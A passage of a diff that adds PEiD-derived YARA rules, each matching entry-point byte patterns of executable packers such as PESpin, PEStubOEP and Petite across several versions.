E9 05 23 D1 FF}
+    condition:
+        $a
+}
+
+rule PEiD_01647_PESpin_v0_3__Eng_____cyberbob_
+{
+    meta:
+        description = "[PESpin v0.3 (Eng) -> cyberbob]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46}
+    condition:
+        $a
+}
+rule PEiD_01648_PESpin_v0_3__Eng_____cyberbob_
+{
+    meta:
+        description = "[PESpin v0.3 (Eng) -> cyberbob]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 8B 95 CB 2C 40 00 8B 42 3C 03 C2 89 85 D5 2C 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D E9 2C 40 00 53 8F 85 B6 2B 40 00 BB ?? 00 00 00 B9 75 0A 00 00 8D BD 7E 2D 40 00 4F 30 1C 39 FE CB E2 F9 68 3C 01 00 00 59 8D BD B6 36 40 00 C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 1F 53 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D DC 2C 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01649_PESpin_v0_3____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin v0.3 -> Cyberbob (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 8B 95 CB 2C 40 00 8B 42 3C 03 C2 89 85 D5 2C 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D E9 2C 40 00 53 8F 85 B6 2B 40 00 BB ?? 00 00 00 B9 75 0A 00 00 8D BD 7E 2D 40 00 4F 30 1C 39 FE CB E2 F9 68 3C 01 00 00 59 8D BD B6 36 40 00 C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 1F 53 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D DC 2C 40 00 8B D6 B9 10 00 00 00 AC 84 C0 74 06 C0 4E FF 03 E2 F5 E8 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01650_PESpin_v0_7____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin v0.7 -> Cyberbob (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 88 39 40 00 8B 42 3C 03 C2 89 85 92 39 40 00 EB 01 DB 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D A6 39 40 00 53 8F 85 4A 38 40 00 BB ?? 00 00 00 B9 EC 0A 00 00 8D BD 36 3A 40 00 4F EB 01 AB 30 1C 39 FE CB E2 F9 EB 01 C8 68 CB 00 00 00 59 8D BD 56 44 40 00 E8 03 00 00 00 EB 04 FA EB FB 68 83 04 24 0C C3 8D C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 B3 5F 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D 99 39 40 00 8B D6 B9 10 00 00 00 AC 84 C0 74 06 C0 4E FF 03 E2 F5 E8 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01651_PESpin_v0_7____Cyberbob_
+{
+    meta:
+        description = "[PESpin v0.7 -> Cyberbob]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 88 39 40 00 8B 42 3C 03 C2 89 85 92 39 40 00 EB 01 DB 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D A6 39 40 00 53 8F 85 4A 38 40 00 BB ?? 00 00 00 B9 EC 0A 00 00 8D BD 36 3A 40 00 4F EB 01 AB 30 1C 39 FE CB E2 F9 EB 01 C8 68 CB 00 00 00 59 8D BD 56 44 40 00 E8 03 00 00 00 EB 04 FA EB FB 68 83 04 24 0C C3 8D C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 B3 5F 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D 99 39 40 00 8B D6 B9 10 00 00 00 AC 84 C0 74 06 C0 4E FF 03 E2 F5 E8 00}
+    condition:
+        $a
+}
+
+rule PEiD_01652_PESpin_V0_71____cyberbob_
+{
+    meta:
+        description = "[PESpin V0.71 -> cyberbob]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E}
+    condition:
+        $a
+}
+
+rule PEiD_01653_PESpin_v1_0____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin v1.0 -> Cyberbob (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 C8 DC 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 D2 42 40 00 8B 42 3C 03 C2 89 85 DC 42 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D F0 42 40 00 53 8F 85 94 41 40 00 BB ?? 00 00 00 B9 8C 0B 00 00 8D BD 80 43 40 00 4F EB 01 AB 30 1C 39 FE CB E2 F9 EB 01 C8 68 CB 00 00 00 59 8D BD 40 4E 40 00 E8 03 00 00 00 EB 04 FA EB FB 68 83 04 24 0C C3 8D C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 FD 68 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00}
+    condition:
+        $a
+}
+
+rule PEiD_01654_PESpin_v1_1____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin v1.1 -> Cyberbob (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 C3 4B 40 00 8B 42 3C 03 C2 89 85 CD 4B 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D E1 4B 40 00 53 8F 85 D7 49 40 00 BB ?? 00 00 00 B9 FE 11 00 00 8D BD 71 4C 40 00 4F EB 07 FA EB 01 FF EB 04 E3 EB F8 69 30 1C 39 FE CB 49 9C C1 2C 24 06 F7 14 24 83 24 24 01 50 52 B8 83 B2 DC 12 05 44 4D 23 ED F7 64 24 08 8D 84 28 BD 2D 40 00 89 44 24 08 5A 58 8D 64 24 04 FF 64 24 FC FF EA EB 01 C8 E8 01 00 00 00 68 58 FE 48 1F 0F 84 94 02 00 00 75 01 9A 81 70 03 E8 98 68 EA 83 C0 21 80 40 FB EB A2 40 02 00 E0 91 32 68 CB 00 00 00 59 8D BD A3 5D 40 00 E8 03 00 00 00 EB 04 FA EB FB 68 83 04 24 0C C3}
+    condition:
+        $a
+}
+
+rule PEiD_01655_PESpin_V1_1____cyberbob_
+{
+    meta:
+        description = "[PESpin V1.1 -> cyberbob]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E}
+    condition:
+        $a
+}
+
+rule PEiD_01656_PESpin_v1_1_by_cyberbob_
+{
+    meta:
+        description = "[PESpin v1.1 by cyberbob]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 C3 4B 40 00 8B 42 3C 03 C2 89 85 CD 4B 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D E1 4B 40 00 53 8F 85 D7 49 40 00 BB ?? 00 00 00 B9 FE 11 00 00 8D BD 71 4C 40 00 4F EB 07 FA EB 01 FF EB 04 E3 EB F8 69 30 1C 39 FE CB 49 9C}
+    condition:
+        $a
+}
+
+rule PEiD_01657_PESPin_v1_3____Cyberbob__h__
+{
+    meta:
+        description = "[PESPin v1.3 -> Cyberbob (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 AC DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 0D 4F 40 00 8B 42 3C 03 C2 89 85 17 4F 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D 2B 4F 40 00 53 8F 85 21 4D 40 00 EB 07 FA EB 01 FF EB 04 E3 EB F8 69 8B 59 38 03 DA 8B 3B 89 BD D0 4F 40 00 8D 5B 04 8B 1B 89 9D D5 4F 40 00 E8 00 00 00 00 58 01 68 05 68 F7 65 0F E2 B8 77 CE 2F B1 35 73 CE 2F B1 03 E0 F7 D8 81 2C 04 13 37 CF E1 FF 64 24 FC}
+    condition:
+        $a
+}
+
+rule PEiD_01658_PESpin_v1_304____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin v1.304 -> Cyberbob (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 88 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 CD 4E 40 00 8B 42 3C 03 C2 89 85 D7 4E 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D EB 4E 40 00 53 8F 85 E1 4C 40 00 EB 07 FA EB 01 FF EB 04 E3 EB F8 69 8B 59 38 03 DA 8B 3B 89 BD 90 4F 40 00 8D 5B 04 8B 1B 89 9D 95 4F 40 00 E8 00 00 00 00 58 01 68 05 68 D3 65 0F E2 B8 77 CE 2F B1 35 73 CE 2F B1 03 E0 F7 D8 81 2C 04 13 37 CF E1 FF 64 24 FC FF 25 10 BB ?? 00 00 00 B9 84 12 00 00 8D BD C6 4F 40 00 4F EB 07 FA EB 01 FF EB 04 E3 EB F8 69 30 1C 39 FE CB 49 9C EB 04 01 EB 04 CD EB FB 2B C1 2C 24 06 F7 14 24 83 24 24 01 50 52 B8 79 B2 DC 12 05 44 4D 23 ED F7 64 24 08 8D 84 28 20 2F 40 00 89 44 24 08 5A 58 8D 64 24 04 FF 64 24 FC FF EA EB EB 01 C8 E8 01 00 00 00 68 58 FE 48 1F 0F 84 94 02 00 00 75 01 9A 81 70 03 E8 98 68 EA 83 C0 21 80 40 FB EB A2 40 02 00 E0 91 32 68 CB 00 00 00 59 8D BD 7E 61 40 00 E8 03 00 00 00 EB 04 FA EB FB 68 83 04 24 0C C3 8D C0 0C 39 02 49 9C E8 03 00 00 00 EB 04 8D EB FB FF 83 04 24 0C C3 A3 C1 2C 24 06 F7 14 24 83 24 24 01 50 52 B8 61 B2 DC 12 05 44 4D 23 ED F7 64 24 08 8D 84 28 B2 2F 40 00 89 44 24 08 5A 58 8D 64 24 04 FF 64 24 FC 9A}
+    condition:
+        $a
+}
+
+rule PEiD_01659_PESpin_v1_304____Cyberbob_
+{
+    meta:
+        description = "[PESpin v1.304 -> Cyberbob]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 88 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+    condition:
+        $a
+}
+rule PEiD_01660_PESpin_v1_3beta____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin v1.3beta -> Cyberbob (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 71 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 ?? 4E 40 00 8B 42 3C 03 C2 89 85 ?? 4E 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D ?? 4E 40 00 53 8F 85 ?? 4C 40 00 EB 07 FA EB 01 FF EB 04 E3 EB F8 69 8B 59 38 03 DA 8B 3B 89 BD ?? 4F 40 00 8D 5B 04 8B 1B 89 9D ?? 4F 40 00 E8 00 00 00 00 58 01 68 05 68 BC 65 0F E2 B8 77 CE 2F B1 35 73 CE 2F B1 03 E0 F7 D8 81 2C 04 13 37 CF E1 FF 64 24 FC FF 25 10 BB ?? 00 00 00 B9 84 12 00 00 8D BD ?? 4F 40 00 4F EB 07 FA EB 01 FF EB 04 E3 EB F8 69 30 1C 39 FE CB 49 9C}
+    condition:
+        $a
+}
+
+rule PEiD_01661_PEStubOEP_v1_x_
+{
+    meta:
+        description = "[PEStubOEP v1.x]"
+        ep_only = "false"
+    strings:
+        $a = {40 48 BE 00 ?? ?? 00 40 48 60 33 C0 B8 ?? ?? ?? 00 FF E0 C3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01662_PeStubOEP_v1_x_
+{
+    meta:
+        description = "[PeStubOEP v1.x]"
+        ep_only = "false"
+    strings:
+        $a = {90 33 C9 33 D2 B8 ?? ?? ?? 00 B9 FF}
+    condition:
+        $a
+}
+
+rule PEiD_01663_PeStubOEP_v1_x_
+{
+    meta:
+        description = "[PeStubOEP v1.x]"
+        ep_only = "false"
+    strings:
+        $a = {E8 05 00 00 00 33 C0 40 48 C3 E8 05}
+    condition:
+        $a
+}
+
+rule PEiD_01664_Petite_1_2_____c_1998_Ian_Luck__h__
+{
+    meta:
+        description = "[Petite 1.2 -> (c)1998 Ian Luck (h)]"
+        ep_only = "true"
+    strings:
+        $a = {66 9C 60 E8 CA 00 00 00 03 00 04 00 05 00 06 00 07 00 08 00 09 00 0A 00 0B 00 0D 00 0F 00 11 00 13 00 17 00 1B 00 1F 00 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 83 00 A3 00 C3 00 E3 00 02 01 00 00 00 00 00 00 00 00 00 00 00 00 01 01 01 01 02 02 02 02 03 03 03 03 04 04 04 04 05 05 05 05 00 70 70 01 00 02 00 03 00 04 00 05 00 07 00 09 00 0D 00 11 00 19 00 21 00 31 00 41 00 61 00 81 00 C1 00 01 01 81 01 01 02 01 03 01 04 01 06 01 08 01 0C 01 10 01 18 01 20 01 30 01 40 01 60 00 00 00 00 01 01 02 02 03 03 04 04 05 05 06 06 07 07 08 08 09 09 0A 0A 0B 0B 0C 0C 0D 0D 10 11 12 00 08 07 09 06 0A 05 0B 04 0C 03 0D 02 0E 01 0F 58 2C 08 50 8B C8 8B D0 81 C1 ?? D2 00 00 81 C2 ?? ?? 00 00 89 20 8B E1 50 81 2C 24 00 ?? ?? ?? FF 30 50 80 04 24}
+    condition:
+        $a
+}
+
+rule PEiD_01665_Petite_1_2_____c_1998_Ian_Luck_
+{
+    meta:
+        description = "[Petite 1.2 -> (c)1998 Ian Luck]"
+        ep_only = "true"
+    strings:
+        $a = {66 9C 60 E8 CA 00 00 00 03 00 04 00 05 00 06 00 07 00 08 00 09 00 0A 00 0B 00 0D 00 0F 00 11 00 13 00 17 00 1B 00 1F 00 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 83 00 A3 00 C3 00 E3 00 02 01 00 00 00 00 00 00 00 00 00 00 00 00 01 01 01 01 02 02 02}
+    condition:
+        $a
+}
+
+rule PEiD_01666_Petite_1_2_
+{
+    meta:
+        description = "[Petite 1.2]"
+        ep_only = "true"
+    strings:
+        $a = {66 9C 60 E8 CA 00 00 00 03 00 04 00 05 00 06 00 07 00 08 00}
+    condition:
+        $a
+}
+
+rule PEiD_01667_Petite_1_3_____c_1998_Ian_Luck__h__
+{
+    meta:
+        description = "[Petite 1.3 -> (c)1998 Ian Luck (h)]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? ?? 9C 60 50 8D 88 00 ?? ?? ?? 8D 90 ?? ?? 00 00 8B DC 8B E1 68 00 00 ?? ?? 53 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 DA 14 00 00 8B 44 24 18 F6 42 03 80 74 19 FD 80 72 03 80 8B F0 8B F8 03 72 04 03 7A 08 8B 0A F3 A5 83 C2 0C FC EB D4 8B 7A 08 03 F8 8B 5A 04 85 DB 74 13 52 53 57 03 02 50 E8 7B 00 00 00 85 C0 74 2E 5F 5F 58 5A 8B 4A 0C C1 F9 02 F3 AB 8B 4A 0C 83 E1 03 F3 AA 83 C2 10 EB A0 45 52 52 4F 52 21 00 43 6F 72 72 75 70 74 20 44 61 74 61 21 00 8B 64 24 24 8B 04 24 83 C4 26 8B D0 66 81 C2 6D 01 6A 10 8B D8 66 05 66 01 50 52 6A 00 8B 13 FF 14 1A 6A FF FF 93 ?? ?? 00 00 56 57 8B 7C 24 0C 8B 74 24 10 8B 4C 24 14 C1 F9 02 F3 A5 8B 4C 24 14 83 E1 03 F3 A4 5F 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_01668_Petite_1_3_____c_1998_Ian_Luck_
+{
+    meta:
+        description = "[Petite 1.3 -> (c)1998 Ian Luck]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? ?? 9C 60 50 8D 88 00 ?? ?? ?? 8D 90 ?? ?? 00 00 8B DC 8B E1 68 00 00 ?? ?? 53 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 DA 14 00 00 8B 44 24 18 F6 42 03 80 74 19 FD 80 72 03 80 8B F0 8B F8 03}
+    condition:
+        $a
+}
+rule PEiD_01669_Petite_1_3_
+{
+    meta:
+        description = "[Petite 1.3]"
+        ep_only = "false"
+    strings:
+        $a = {66 9C 60 50 8D 88 00 F0 00 00 8D 90 04 16 00 00 8B DC 8B E1}
+    condition:
+        $a
+}
+
+rule PEiD_01670_Petite_1_4_____c_1998_99_Ian_Luck__h__
+{
+    meta:
+        description = "[Petite 1.4 -> (c)1998-99 Ian Luck (h)]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? 66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC 8D A0 54 BC 00 00 50 8B C3 8D 90 ?? 16 00 00 68 00 00 ?? ?? 51 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 D8 14 00 00 8B 44 24 18 F6 42 03 80 74 19 FD 80 72 03 80 8B F0 8B F8 03 72 04 03 7A 08 8B 0A F3 A5 83 C2 0C FC EB D4 8B 7A 08 03 F8 8B 5A 04 85 DB 74 13 52 53 57 03 02 50 E8 79 00 00 00 85 C0 74 30 5F 5F 58 5A 8B 4A 0C C1 F9 02 33 C0 F3 AB 8B 4A 0C 83 E1 03 F3 AA 83 C2 10 EB 9E 45 52 52 4F 52 21 00 43 6F 72 72 75 70 74 20 44 61 74 61 21 00 8B 64 24 24 8B 04 24 83 C4 26 8B D0 66 81 C2 7E 01 6A 10 8B D8 66 05 77 01 50 52 6A 00 03 1B FF 13 6A FF FF 53 08 56 57 8B 7C 24 0C 8B 74 24 10 8B 4C 24 14 C1 F9 02 F3 A5 8B 4C 24 14 83 E1 03 F3 A4 5F 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_01671_Petite_1_4_____c_1998_99_Ian_Luck_
+{
+    meta:
+        description = "[Petite 1.4 -> (c)1998-99 Ian Luck]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? 66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC 8D A0 54 BC 00 00 50 8B C3 8D 90 ?? 16 00 00 68 00 00 ?? ?? 51 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 D8 14 00 00 8B 44 24 18 F6}
+    condition:
+        $a
+}
+
+rule PEiD_01672_Petite_1_4_
+{
+    meta:
+        description = "[Petite 1.4]"
+        ep_only = "false"
+    strings:
+        $a = {66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC}
+    condition:
+        $a
+}
+
+rule PEiD_01673_Petite_2_1_
+{
+    meta:
+        description = "[Petite 2.1]"
+        ep_only = "false"
+    strings:
+        $a = {64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 8B D8}
+    condition:
+        $a
+}
+
+rule PEiD_01674_Petite_2_2_____c_1998_99_Ian_Luck__h__
+{
+    meta:
+        description = "[Petite 2.2 -> (c)1998-99 Ian Luck (h)]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 68 00 00 ?? ?? 8B 3C 24 8B 30 66 81 C7 80 07 8D 74 06 08 89 38 8B 5E 10 50 56 6A 02 68 80 08 00 00 57 6A ?? 6A 06 56 6A 04 68 80 08 00 00 57 FF D3 83 EE 08 59 F3 A5 59 66 83 C7 68 81 C6 ?? ?? 00 00 F3 A5 FF D3 58 8D 90 B8 01 00 00 8B 0A 0F BA F1 1F 73 16 8B 04 24 FD 8B F0 8B F8 03 72 04 03 7A 08 F3 A5 83 C2 0C FC EB E2 83 C2 10 8B 5A F4 85 DB 74 D8 8B 04 24 8B 7A F8 03 F8 52 8D 34 01 EB 17 58 58 58 5A 74 C4 E9 1C FF FF FF 02 D2 75 07 8A 16 83 EE FF 12 D2 C3 81 FB 00 00 01 00 73 0E 68 60 C0 FF FF 68 60 FC FF FF B6 05 EB 22 81 FB 00 00 04 00 73 0E 68 80 81 FF FF 68 80 F9 FF FF B6 07 EB 0C 68 00 83 FF FF 68 00 FB FF FF B6 08 6A 00 32 D2 4B A4 33 C9 83 FB 00 7E A4 E8 AA FF FF FF 72 17 A4 30 5F FF 4B EB ED 41 E8 9B FF FF FF 13 C9 E8 94 FF FF FF 72 F2 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01675_Petite_2_2_____c_1998_99_Ian_Luck_
+{
+    meta:
+        description = "[Petite 2.2 -> (c)1998-99 Ian Luck]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 68 00 00 ?? ?? 8B 3C 24 8B 30 66 81 C7 80 07 8D 74 06 08 89 38 8B 5E 10 50 56 6A 02 68 80 08 00 00 57 6A ?? 6A 06 56 6A 04 68 80 08 00 00 57 FF D3 83 EE 08 59 F3 A5 59 66}
+    condition:
+        $a
+}
+
+rule PEiD_01676_PEtite_v1_2_
+{
+    meta:
